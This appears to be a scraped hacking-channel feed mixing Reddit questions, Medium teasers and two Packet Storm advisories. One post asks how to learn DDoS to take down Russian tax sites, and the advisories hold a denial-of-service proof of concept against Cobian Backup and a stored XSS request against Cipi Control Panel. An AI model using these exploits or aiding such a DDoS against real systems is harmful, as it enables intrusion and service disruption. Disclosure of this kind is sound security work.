hacking: security in practice
USB Bootable Kali Linux

Hi,

I'm very new to this though am playing around with Kali. Every time I select my USB to boot from the whole OS has been reset. I need to install all my tools again, and everything on the (~8GB) partition is reset.

I followed some directions for 'persistence' and managed to make the remaining ~110 GB persistent though this isn't of much help if I need to download tools, update OS after every boot.

Any suggestions?

FYI:

I used BalenaEtcher to flash my USB.

When booting I have tried multiple options though each time I am presented with a Kali Boot selection (Live, Persistence, Encrypted Persistence, etc.) I have recently selected 'encrypted-persistence' each time though it still resets everything except for the persistent partition each boot.

Thanks again = )

submitted by /u/Expriser
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How are machines behind a router exposed?

I am trying to do more network related practice on my home lab. I am trying to understand how my computers behind a router can be exposed if they are compromised?

submitted by /u/BodySmell
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Ddos Russian taxes sbis.ru

Is there any good way to learn Ddos fast? Because I really wanna help in taking down pages like online.sbis.ru and sbis.ru wich are taxes collection pages and I think they would really hurt the Russian government in economic terms.

If you're Russian and know other pages of that style, please tell us.

submitted by /u/chtulhu37
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

My Pentest Log -8-
https://hcibo.medium.com/my-pentest-log-8-9e5f71106967?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Greetings from Caenopolis to all,Continue reading on Medium » (https://hcibo.medium.com/my-pentest-log-8-9e5f71106967?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

XSS via file upload
https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/

Hey all, So I've been recently looking into this form of XSS but I simply can not find a good "how to" in actually creating a file with the code for XSS to then upload onto a site. I have found examples with the string of code to put INTO the file but I haven't found anything that tells me how to actually create the file with the code or what program to create the file with. Does anyone have a step by step for dummies video or blog tutorial they have used? Any help is appreciated. Thanks! submitted by /u/bm0tterre (https://www.reddit.com/user/bm0tterre)
[link] (https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/) [comments] (https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Also known as “white hats,” ethical hackers are security experts that perform these security…

What are the key concepts of ethical hacking?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Yeni Güvenlik Hack Forumu

HGOD veya HG sitesi 2021 yılında günümüzün şartlarına uygun olarak bilişim güvenliği sitesi olarak ortaya çıkmış ve bu doğrultuda…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CASINO ROYALE: 1 VM Walkthrough

https://cdn-images-1.medium.com/max/918/0*E5r9DI7EM7L5hqYW
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to be a hacker. Rather an Anti-hacker.

https://cdn-images-1.medium.com/max/600/1*ePIe0V72LtDP7efogbOxUA.png
I know most of you are totally excited at this topic but it won't be for long. Most of us just wants to know the process of being a hacker…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

AlbusSec:- Penetration-List 04 File Inclusion
https://as745591.medium.com/albussec-penetration-list-04-file-inclusion-5abadc79acd2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Members, I hope that you liked Penetration-List Project, Therefore, I worked hard to complete Penetration-list Project. Firstly, I…Continue reading on Medium » (https://as745591.medium.com/albussec-penetration-list-04-file-inclusion-5abadc79acd2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cobian Backup 11 Gravity 11.2.0.582 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Cobian Backup 11 Gravity version 11.2.0.582 suffers from a denial of service vulnerability.

MD5 | c6d7cc4342d77eab82797267d4f55005

Download
# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com

Exploit Collector
Cipi Control Panel 3.1.15 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Cipi Control Panel version 3.1.15 suffers from a cross site scripting vulnerability.

MD5 | b04b829aac8192cfedc8758d2dac7ef8

Download
# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 24.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://cipi.sh/ <https:
# Software Link: https://cipi.sh/ <https:
# Version: 3.1.15
# Tested on: Ubuntu

When the user wants to add a new server on the "Server" panel, in "name"
parameter has not had any filtration.

POST /api/servers HTTP/1.1
Host: IP
Content-Length: 102
Accept: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://IP
Referer: http://IP/servers
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
"name":"\">",
"ip":"10.10.10.10",
"provider":"local",
"location":"xss test"
}


Source:packetstormsecurity.com